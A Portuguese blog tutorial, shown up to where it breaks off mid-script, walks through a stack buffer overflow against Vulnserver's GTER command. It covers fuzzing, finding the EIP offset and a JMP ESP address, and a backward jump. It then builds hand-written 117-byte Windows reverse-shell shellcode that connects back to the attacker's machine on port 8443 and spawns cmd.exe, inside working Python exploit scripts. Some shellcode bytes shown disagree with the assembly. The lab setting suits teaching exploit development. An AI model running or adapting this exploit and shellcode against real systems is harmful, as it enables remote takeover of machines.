Home Windows Vulnserver Buffer Overflow - Parte 3 Saltos na Memória
Post
Cancel

Windows Vulnserver Buffer Overflow - Parte 3 Saltos na Memória

COMANDO GTER

O comando GTER, assim como os demais, recebe um argumento e dá uma resposta. Neste comando, temos uma situação parecida com a anterior, porém encontramos uma problema com o espaço disponível para nosso shellcode, portanto precisaremos de uma técnica um pouco mais complexa.

Enumaração do comando.

Sabendo de seu funcionamento, vamos fazer o fuzzing do comando.

FUZZING

Assim como fizemos com o comando TRUN, vamos utilizar o protocolo Spike. Para tanto, vamos criar nosso script.

gter.spk

1
2
s_string("GTER ");
s_string_variable("*");

Onde: s_string: é um parâmetro imutável, no nosso caso, sempre irá enviar “TRUN ” (não esqueça do espaço após o TRUN); s_string_variable: é um parâmetro que indica o que seŕa mudato em cada envio.

Antes de enviar o fuzzing, vamos iniciar o wireshark monitorando nossa conexão.

Enumaração do comando.

Com o programa iniciado na máquina Windows, vamos enviar nosso fuzzing com o script “generic_sender_tcp”.

Enumaração do comando.

Podemos ver que na terceira iteração, o programa parou de responder, automaticamente fechou na máquina Windows. Analisando o dump no WIreshark, podemos verificar o que foi enviado.

Enumaração do comando.

Podemos observar que o buffer estouruou com 5060 bytes, sendo que o nosso buffer inicia com “/.:/”.

EXPLORAÇÃO

Agora que sabemos que o programa sofreu um crash com 5061 bytes, já incluindo o comando “GTER /.:/”, podemos iniciar o esboço do exploit.

xplgter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 5060

payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")

Precisamos iniciar o vulnerver, mas agora com o Immunity Debbuger e rodar nosso script.

Enumaração do comando.

Novamente conseguimos sobrescrever o EIP com “41414141”, o que é ótimo, pois conseguimos controlar o endereço da próxima execução após o overflow.

Mas se seguirmos o dump do ESP, podemos ver que temos apenas 20 bytes para inserir nosso shellcode, o que é praticamente impossível uma vez que ele ocupa aproximadamente 350 bytes.

Teremos que usar uma técnica diferente para conseguirmos nossa shell.

Isso também mostra que talvez nem precisemos de todos os 5060 bytes que nosso fuzzing encontrou, vamos criar nosso próprio script para encontrar um fuzzing mais próximo.

fuzzing.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3

import socket
from time import sleep
import sys

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

payload = b"GTER /.:/" # funcao inicial
payload += b"A" * 100 # quantidade inicial de bytes 

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip,porta))
        s.send(payload + b"\r\n")
        s.recv(1024)
        s.close()
        sleep(1)
        payload = payload + b"A"*100
    except:
        print("Buffer estourado em %s bytes"%(str(len(payload))))
        sys.exit()

Enumaração do comando.

Temos o offset de 309 bytes para criarmos nosso payload.

Sabendo disso, precisamos encontrar o offset preciso para atingir o EIP, vamos utilizar o msf-pattern_create para criar uma string distinta.

1
2
3
$ msf-pattern_create -l 309             
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2

Vamos inserí-lo em nosso script.

xplgter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 5060

payload = b"GTER /.:/" # funcao inicial
#payload += b"A" * offset 
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")

Após reiniciar o vulnserver no Immunity, vamos rodar o script e monitorar o comportamento.

Enumaração do comando.

Temos o endereço de EIP de 41396541, vamos consultar no msf-pattern_offset.

1
2
$ msf-pattern_offset -l 309 -q 41396541
[*] Exact match at offset 147

Sabemos que o offset para atingir o EIP é de 147, vamos enviar 147 “A” + 4 “B” e o restande de “C” para validar. Se o offset estiver correto, nosso EIP será preenchido com “42424242” e os outros 20 bytes com “43”.

xplgter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 147

payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset 
payload += b"B"*4
payload += b"C" * (309 - 147 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")

Após reiniciar o vulnserver no Immunity, vamos rodar nosso script e monitorar seu comportamento.

Enumaração do comando.

Conseguimos atingir com precisão o EIP com nossos “42”.

Ainda temos o problema de espaço de 20 bytes para tentar executar alguma coisa, mas antes de atacar este problema, vamos encontrar um bom endereço de retorno.

ENCONTRANDO UM BOM ENDEREÇO DE RETORNO

O nosso payload vai sobrescrever o buffer, o EIP e o ESP, logo, nosso shellcode será armazenado no ESP, por tanto, precisamos manipular nosso EIP para que aponte para o endereço do ESP. Como sabemos que os endereços da stack são dinâmicos, vamos procurar um JMP ESP conforme fizemos no comando anterior.

Enumaração do comando.

Encontramos nossos 9 bons endereços de retorno.

INSERINDO O ENDEREÇO DE RETORNO NO PAYLOAD

Em posse do endereço de retorno, vamos adicionar um deles no lugar de nossos B, eu vou utilizar o 625011d3, porém a notação para envio tem que ser em little indian, portanto os bytes tem ordem inversa, ficando: \xd3\x11\x50\x62.

Vamos atualizar o exploit.

xplgter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.26"
porta = 9999

# payload a ser enviado
offset = 147

payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset # buffer
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"C" * (309 - 147 - 4) # segundo buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")

Precisamos reiniciar o vulnserver no Immunity, mas antes de rodar nosso script, vamos setar um breakpoint exatamente no nosso endereço de retorno: 625011d3. (clicando em “Go to address in Disassembler”, inserindo nosso endereço de retorno e logo em seguida pressionando F2). Agora podemos rodar nosso script.

Enumaração do comando.

O programa parou exatamente onde setamos o breakpoint. Ao pressionarmos F7, vamos cair exatamente onde começam nossos “C”(43).

Enumaração do comando.

Nota de interpretação: Veja que nos registradores o EIP está em 00cff9c8 e a linha onde esta instrução cai exatamente onde está nosso primeiro 43 no disassembler. (note que no EIP temos 00cff9c8 e no disassembler temos 0cff9c7, existe 1 byte de diferença, mas se observamos o conteúdo, vemos que temos “6243 43”, ou seja, se o 62 corresponde ao endereço 00cff9c7, logo o próximo byte que é nosso 43 será 00cff9c8).

Caímos exatamente onde esperávamos, mas agora temos que resolver o problema: o que fazer com apenas 20 bytes de espaço?

Simples, não podemos fazer nada! Precisamos de um buffer maior, e nós o temos. O buffer onde estão os “A”, pois ele possui 147 bytes, o que não é muito, mas nos permite utilizar algumas técnicas.

Mas vem a questão, se o buffer de “A” já foi utilizado para preencher o buffer primário do programa, como podemos reutilizá-lo?

SALTANDO ENTRE ENDEREÇOS DE MEMÓRIA

Sabemos que ao cair no buffer dos “C”, precisamos pular de volta para o buffer dos “A”.

Na arquitetura x86 temos um jump incondicional que pode pular para qualquer endereço da memória, mas para utilizá-lo, precisamos saber exatamente para onde pular.

Porém os endereços dos buffers esão na stack, o que siginifica que vão mudar toda vez que executarmos o programa.

Vamos rodar o script novamente e observar que os endereços mudaram. Observe a imagem abaixo que mostra exatamente onde se inicia nossos “C”.

Enumaração do comando.

Sabemos que desta vez eles se iniciam em 00d8f9c8, se rolarmos a barra pra cima, encontraremos o endereço correspondente ao nosso primeiro “A”.

Enumaração do comando.

Nosso primeiro “A” está em 00d8f931, porém estes endereços são da stack e vão mudar a cada vez que executarmos o programa.

Precisamos pular do endereço do primeiro “C” para o primeiro “A”, mas os endereços não são fixos, o que fazer?

Simples, os endereços mudam, mas a distância matemática entre eles não, se eu souber quantos bytes devo pular, sempre cairei exatamente onde quiser. Existem algumas formas de calcular esta distância, vamos explorar duas alternativas.

ENCONTRANDO A DISTÂNCIA COM IMMUNITY DEBBUGER

Se clicarmos duas vezes na instrução disassembler do nosso primeiro “C”, podemos inserir o comando “JMP 00d8f931” que é o endereço do nosso primeiro “A”.

Enumaração do comando.

Ao clicarmos em “Assemble”, ele nos retorna a distância entre os dois endereços.

Enumaração do comando.

Ele nos deu a distância e965ffffff, porém temos que ter cuidado, pois ele está comparando com o 00d8f9c7, mas sabemos que nosso primeiro “C” está em 00d8f9c8, portanto temos que subtrair 1 byte da distância, resultando em e964ffffff.

Agora sabemos a distância do salto, então, independente do endereço que os buffers possam cair, podemos encontrar nosso endereço de destino.

Antes de testar outra abordagem para calcular o salto, vamos testar em nosso script.

Vamos adicionar nosso salto no script logo após o salto para o EIP.

xplgter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 147

payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset # buffer
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")

Entendendo o payload

1
2
3
4
5
payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset # buffer
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer
  1. Ele vai enviar o comando inicial “GTER /.:/”;
  2. Ele vai enviar nosso primeiro buffer com 147 “A”;
  3. Ele vai enviar para o EIP o endereço de retorno para nosso ESP;
  4. Aqui ele envia o salto para cair novamente no inicio do buffer de “A”;
  5. Agora ele envia o restante dos “C” onde 309 é o offset para buffer overflow, -4 para descontar os 4 bytes do endereço de retorno e -5 bytes do salto.

Vamos reiniciar o programa novamente com o breakpoint em 625011d3 que é nosso endereço de retorno e rodar nosso script.

Enumaração do comando.

Ele parou em nosso endereço de retorno, conforme esperado, agora pressionamos F7 para ir para próxima instrução.

Enumaração do comando.

Veja que agora, ao invés de cair em nosso primeiro “C”, ele caiu em um JMP. Se pressionarmos F7 novamente, cairemos onde esse JMP nos levar.

Enumaração do comando.

O salto foi precisamente para nosso primeiro “A” com sucesso. Agora que sabemos uma das formas de encontrar o tamanho do salto, vamos tentar descobrir este valor com outra abordagem.

ENCONTRANDO A DISTÂNCIA DO SALTO COM MSF-NASM_SHELL

Antes de irmos para ferramenta em si, temos que saber quantos bytes separam nosso endereço de origem (nosso primeiro “C”) do nosso endereço de destino (nosso primeiro “A”). O que já sabemos é que temos 147 “A”, então partimos desse principio, se observarmos novamente a imagem onde consultamos os endereços, veremos que temos alguns bytes entre o umltimo “A” e o primairo “C”.

Enumaração do comando.

Entre eles temos os bytes D3, 11, 50 e 62, ou seja, temos 147 bytes de “A” + 4 bytes separando os buffers, ou seja, temos 151 bytes entre os endereços de origem e destino.

Sabendo este valor, podemos consultar o msf-nasm_shell com o comando JMP $-151.

1
2
3
$ msf-nasm_shell 
nasm > JMP $-151
00000000  E964FFFFFF        jmp 0xffffff69

E ele nos trouxe exatamente o tamanho do salto que encontramos com o Immunity: e964ffffff. Ambas as tecnicas são váilidas e podem ser usadas.

Temos um buffer maior, agora com 147 bytes, mas sabemos que nosso reverse shell ou outros tipos de shell ocupam mais que 300 bytes, o que podemos fazer com o que temos?

Antes de responder esta pergunta, precisamos entender a anatomia de um reverse shell.

ANATOMIA DO REVERSE SHELL

Quando geramos um reverse shell com o msfvenom, recebemos como resposta uma serie de bytes, mas estes bytes tem toda uma arquitetura.

Um reverse ou bind shell nada mais é do que uma série de APIs do Windows que são ordenadas de forma que, ao serem chamadas, fazem uma conexão reversa com o atacante chamando uma instância geralmente do cmd.exe.

Basicamente a ordem das chamadas segue:

  1. Chama a API WSAStartup() para carregar as DLLs Winsock do Windows;
  2. Chama a API connect() ou WSASocketA() para criar um socket bind ou uma conexão reversa com o IP do atacante;
  3. Chama a API CreateProcessA() que por sua vez vai chamar o cmd.exe e redirecionar o STDIN, o STDOUT e o STDERR para o socket criado.

Como nosso alvo é um server TCP, existe uma grande chance das DLLs WinSock já estarem carregadas, e isso vai nos economizar muitos bytes na criação do shellcode.

A ideia é reutilizar as APIs já carregadas nativamente no programa para minimizar o tamanho do nosso shellcode.

Para desenvolvermos este shellcode, precisamos entender como funcionam as APIs que precisamos e como funcionam seus parâmetros, e traduzí-las para Assembly.

Uma observação importante, é que temos que evitar os badchars na construção do código, em nosso caso só temos o “\x00”.

Vamos utilizar a própria documentação da Microsoft para nos auxiliar no processo.

A primeira API que vamos configurar é a WSASocketA() cuja documentação pode ser lida aqui.

1
2
3
4
5
6
7
8
SOCKET WSAAPI WSASocketA(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

Temos que ter em mente que para utilizar as APIs em Assembly, a ordem das chamadas tem que ser inversa, ou seja, vamos começar pela “dwFlags” e terminar na chamada da WSASocketA(), e por fim armazená-la em EAX.

Também precisamos saber o endereço da API no sistema alvo. Os endereços de funções não costumam mudar na mesma versão do Windows com os mesmos updates, portanto, como nosso alvo é o Windows 10 na versão 21H1 provavemlmente este exploit só vai funcionar em alvos com a mesma versão. Porém o processo de descoberta e desenvolvimento é o mesmo para todas as versões.

Para descobrir os endereços que precisamos no OS, vamos utilizar o arwin que pode ser encontrado aqui.

Enumaração do comando.

Já sabemos o endereço da API no OS, vamos iniciar nosso codigo em assembly no próprio Kali.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; WSASocketA()

xor ebx, ebx            ; Zerando EBX
push ebx                ; Fazendo push para o parametro 'dwFlags' que pode ser nulo
push ebx                ; Fazendo push para o parametro 'g' que pode ser nulo
push ebx                ; Fazendo push para o parametro 'lpProtocolInfo' que pode ser nulo
mov bl, 6               ; Inserindo valor 6 no Protocol (IPPROTO=6)
push ebx                ; Fazendo push para o parametro 'protocol'
xor ebx, ebx            ; Zerando EBX
inc ebx                 ; Incrementando 1 no EBX zerado 'type: SOCK_STREAM=1'
push ebx                ; Fazendo push para o parametro 'type'
inc ebx                 ; Incrementando 1 ao EBX que ja tem valor 1 'af: AF_INET=2'
push ebx                ; Fazendo push para o parametro 'af'
mov ebx, 0x76e67140     ; Endereco da WSASocketA() no Win10 21H1
call ebx                ; Chamada para WSASocketA()
xchg eax, esi           ; Salvando o socket em ESI

Agora precisamos fazer a chamada para a API connect() cuja documentação pode ser encontrada aqui.

1
2
3
4
5
int WSAAPI connect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen
);

Cujo parâmetro “sockaddr” segue a seguinte ordem:

1
2
3
4
struct sockaddr {
        ushort  sa_family;
        char    sa_data[14];
};

Vamos encontrar o endereço da connect() em nosso OS.

Enumaração do comando.

Como em Assembly programamos em ordem inversa, o primeiro parâmetro a ser configurado na connect() é o “namelen”,que representa o endereço para onde a conexão será criada, ou seja, da nossa máquina atacante constituido por IP e PORTA, mas os valores tem que ser passados em hexadecimal e com os bytes em ordem inversa, como o IP do meu Kali é 192.168.1.17, teria que seguir a ordem 171168192.

Podemos utilizar a função “hex()” do python para descobrir byte a byte do nosso endereço.

Podemos criar um script em python para descobrir byte a byte do nosso endereço.

ipToHex.py:

1
2
3
4
5
6
#!/usr/bin/python3

ip = "192.168.1.17"
ip = ip.split(".")

print(' '.join((hex(int(i))[2:] for i in ip)))

E ele nos responde o IP byte a byte:

1
2
$ python3 ipToHex.py
c0 a8 1 11

Como precisamos preencher o script emm little indian, a ntação fica: 0x1101a8c0.

Agora vamos fazer o Assembly da função connect().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; connect

push 0x1101a8c0         ; Fazendo push do endereco de IP 192.168.1.17 em hexa
push word 0xfb20        ; Fazendo push da porta hex(8443)
xor ebx, ebx            ; Zerando EBX
add bl, 2               ; Inserindo o valor 2 em 'sa_family' (AF_INET=2)
push word bx            ; Fazendo push para o parametro 'sa_family'
mov ebx, esp            ; Apontando EBX para a estrutura sockaddr
push byte 16            ; Tamanho do sockaddr: sa_family + sa_data = 16
push ebx                ; Fazendo push para o apontador do parametro 'name'
push esi                ; Fazendo push no socket para o parametro 's'
mov ebx, 0x76e65710     ; Endereco da connect() no Win10 21H1
call ebx                ; Chamando a connect()

Por ultimo, precisamos fazer a chamada para a API CreateProcessA() cuja documentação pode ser encontrada aqui.

Esta função é responsável por chamar o cmd.exe e enviar o STDIN, STDOUT e STDERR para o socket criado, é a função mais longa, pois seus parâmetros também chamam outras funções, porém a grande maioria pode ser nulo.

Abaixo a estrutura da CreateProcessA():

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Vamos encontrar o endereço da função no Win10 21H1.

Enumaração do comando.

Primeiro precisamos chamar a função “cmdA” que não existe, em seguida vamos usar a função “shr” (Shift Right) que vai mover os bytes à direita e zerar a origem, mais detalhes sobre a função aqui. O resultado final será “cmd\x00” sem que precisemos digitar o null byte.

Vamos ao código:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
; CreateProcessA()

mov ebx, 0x646d6341     ; Movendo 'cmda' para EBX evitando null byte
shr ebx, 8              ; Transformando EBX em 'cmd\x00'
push ebx                ; Fazendo push do cmd
mov ecx, esp            ; Fazendo ECX apontar para cmd

; Preenchendo parametro '_STARTUPINFOA'

xor edx, edx            ; Zerando EDX
push esi                ; Enviando hStdError para nosso socket
push esi                ; Enviando hStdOutput para nosso socket
push esi                ; Enviando hStdInput para nosso socket
push edx                ; cbReserved = null
push edx                ; wShowWindow = null
xor eax, eax            ; Zerando EAX
mov ax, 0x0101          ; dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
push eax                ; Fazendo push do dwFlags
push edx                ; dwFillAtribute = null
push edx                ; dwYCountChars = null
push edx                ; dxXCountChars = null
push edx                ; dwYSize = null
push edx                ; dwXSize = null
push edx                ; dwY = null
push edx                ; dwX = null
push edx                ; lpTitle = null
push edx                ; lpDesktop = null
push edx                ; lpReserved = null
add dl, 44              ; cb = 44
push edx                ; Fazendo push da _STARTUPINFOA para a stack
mov eax, esp            ; Fazendo o EAX apontar para ESP, onde esta a _STARTUPINFOA
xor edx, edx            ; Zerando EDX

; Preenchendo o parametro 'PROCESS_INFORMATION'

push edx                ; lpProcessInformation
push edx                ; lpProcessInformation + 4
push edx                ; lpProcessInformation + 8
push edx                ; lpProcessInformation + 12

; Chamando a CreateProcessA()

push esp                ; lpProcessInformation
push eax                ; lpStartupInfo
xor ebx, ebx            ; Zerando EBX
push ebx                ; lpCurrentDirectory = nulo
push ebx                ; lpEnvironment = nulo
push ebx                ; dwCreationFlags = nulo
inc ebx                 ; Incrementando 1 ao EBX zerado (bInheritHandles = True)
push ebx                ; Fazendo push para bInheritHandles
dec ebx                 ; Zerando EBX
push ebx                ; lpThreadAttributes = nulo
push ebx                ; lpProcessAttributes = nulo
push ecx                ; Tornando lpCommandline um pointer para 'cmd'
push ebx                ; lpApplicationName = nulo
mov ebx, 0x752b2d90     ; Endereco da CreateProcessA() no Win10 21H1
call ebx                ; Chamando a CreateProcessA()

Juntando todo o código Assembly que fizemos no arquivo shellcode.asm, podemos compilar com o nasm no próprio Kali para gerar o arquivo elf shellcode.o.

1
$ nasm -f elf32 shellcode.asm -o shellcode.o

Se utilizarmos o comando “objdump” podemos ver o disassembly do codigo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
$ objdump -d shellcode.o -M intel

shellcode.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   31 db                   xor    ebx,ebx
   2:   53                      push   ebx
   3:   53                      push   ebx
   4:   53                      push   ebx
   5:   b3 06                   mov    bl,0x6
   7:   53                      push   ebx
   8:   31 db                   xor    ebx,ebx
   a:   43                      inc    ebx
   b:   53                      push   ebx
   c:   43                      inc    ebx
   d:   53                      push   ebx
   e:   bb 40 71 e6 76          mov    ebx,0x76e67140
  13:   ff d3                   call   ebx
  15:   96                      xchg   esi,eax
  16:   68 c0 a8 01 0c          push   0xc01a8c0
  1b:   66 68 20 fb             pushw  0xfb20
  1f:   31 db                   xor    ebx,ebx
  21:   80 c3 02                add    bl,0x2
  24:   66 53                   push   bx
  26:   89 e3                   mov    ebx,esp
  28:   6a 10                   push   0x10
  2a:   53                      push   ebx
  2b:   56                      push   esi
  2c:   bb 10 57 e6 76          mov    ebx,0x76e65710
  31:   ff d3                   call   ebx
  33:   bb 41 63 6d 64          mov    ebx,0x646d6341
  38:   c1 eb 08                shr    ebx,0x8
  3b:   53                      push   ebx
  3c:   89 e1                   mov    ecx,esp
  3e:   31 d2                   xor    edx,edx
  40:   56                      push   esi
  41:   56                      push   esi
  42:   56                      push   esi
  43:   52                      push   edx
  44:   52                      push   edx
  45:   31 c0                   xor    eax,eax
  47:   66 b8 01 01             mov    ax,0x101
  4b:   50                      push   eax
  4c:   52                      push   edx
  4d:   52                      push   edx
  4e:   52                      push   edx
  4f:   52                      push   edx
  50:   52                      push   edx
  51:   52                      push   edx
  52:   52                      push   edx
  53:   52                      push   edx
  54:   52                      push   edx
  55:   52                      push   edx
  56:   80 c2 2c                add    dl,0x2c
  59:   52                      push   edx
  5a:   89 e0                   mov    eax,esp
  5c:   31 d2                   xor    edx,edx
  5e:   52                      push   edx
  5f:   52                      push   edx
  60:   52                      push   edx
  61:   52                      push   edx
  62:   54                      push   esp
  63:   50                      push   eax
  64:   31 db                   xor    ebx,ebx
  66:   53                      push   ebx
  67:   53                      push   ebx
  68:   53                      push   ebx
  69:   43                      inc    ebx
  6a:   53                      push   ebx
  6b:   4b                      dec    ebx
  6c:   53                      push   ebx
  6d:   53                      push   ebx
  6e:   51                      push   ecx
  6f:   53                      push   ebx
  70:   bb 90 2d 2b 75          mov    ebx,0x752b2d90
  75:   ff d3                   call   ebx

Este é basicamente o shellcode que utilizaremos, mas precisamos sanitizá-lo para podermos utilizar em nosso sxript, vamos utilizar o próprio bash para isso.

1
2
3
$ for i in $(objdump -d shellcode.o -M intel | grep '^ ' | cut -f2); do echo -n '\\x'$i;done;echo
\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x40\x71\xe6\x76\xff\xd3\x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x10\x53\x56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53\x51\x53\xbb\x90\x2d\x2b\x75\xff\xd3

E temos um reverse shell de apenas 117 bytes que cabem perfeitamente no no espaço de 147 bytes!

ATUALIZANDO E ORGANIZANDO NOSSO EXPLOIT

Com o shellcode em mãos, vamos atualizar nosso script.

xplgter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.26"
porta = 9999

# payload a ser enviado
offset = 147

shellcode = b"\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x40\x71\xe6\x76\xff\xd3\x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x10\x53\x56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x31\xd2\x56\x56\x56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53\x51\x53\xbb\x90\x2d\x2b\x75\xff\xd3"

payload = b"GTER /.:/" # funcao inicial
payload += shellcode
payload += b"A" * (offset - len(shellcode))
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado! Cheque o netcat.")

Script pronto, vamos setar um netcat na porta 8443 que configuramos no Assembly e testar nosso exploit.

Enumaração do comando.

Como podemos ver, recebemos a conexão reversa, mas não recebemos o shell, precisamos rodar novamente no Immunity Debbuger para entender o que está ocorrendo. Vamos continuar com o breakpoint no nosso endereço de retorno, e avançar passo a passo com F7 até encontrarmos a inconsistência.

Enumaração do comando.

Se analisarmos este ponto da execução, veremos que o ESP está apontando para alguns bytes abaixo do fim do nosso shellcode. Isto significa que os PUSHs utilizados em nosso shellcode, fazem com que o ESP se aproxime cada vez mais dele até o ponto de sobrescrevê-lo. Pois ao ponto que a execução flui, no sentido crescente dos endereços de memória, a pilha cresce para trás.

O que podemos fazer, é realinhar nossa stack, antes do envio do nosso shellcode, e isso pode ser feito com duas instruções: PUSH EAX e POP ESP.

O PUSH EAX vai empurrar o valor corrente de EAX para o topo da stack, enquanto o POP ESP vai trazer de volta o valor de ESP, movendo o stack pointer acima do nosso shellcode e protegendo de ser sobrescrito.

Para encontrar os opcodes corretos, podemos utilizar o msf-nasm_shell.

1
2
3
4
5
6
$ msf-nasm_shell 
nasm > PUSH EAX
00000000  50                push eax
nasm > POP ESP
00000000  5C                pop esp

Temos os opcodes \x50 e \x5c, vamos adicionálos acima de nosso shellcode.

xplgter.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3

import socket

# variaveis de conexao
ip = "192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 147

